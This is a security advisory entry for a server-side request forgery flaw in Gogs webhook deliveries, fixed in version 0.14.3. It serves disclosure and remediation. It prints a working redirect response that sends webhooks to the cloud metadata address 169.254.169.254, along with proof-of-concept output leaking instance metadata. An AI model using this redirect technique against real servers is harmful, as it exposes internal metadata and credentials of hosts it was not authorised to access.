gogs.io/gogs
Affected
- introduced
0, fixed0.14.3(semver)
Fixed versions
0.14.3
Fix
- Fixed version
0.14.3go get gogs.io/[email protected]
Advisory
Also known as: CVE-2026-47267, GO-2026-5312
Gogs has SSRF in webhook deliveries
Summary
The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.
This was already communicated in the initial report but it looks like there was a bit of a miscommunication.
Details
By creating a webook pointing to any URL that will return the following:
HTTP/1.1 301 Moved Permanently
Location: http://169.254.169.254/metadata/v1.json
Content-Length: 0
Connection: close
It is possible to access 169.254.169.254
PoC
Results from running this on try.gogs:
{"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}}
Impact
Server Side Request Forgery
Fix
The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname
High Basis: The source's own band: HIGH
0, fixed 0.14.3 (semver)0.14.3
0.14.3go get gogs.io/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0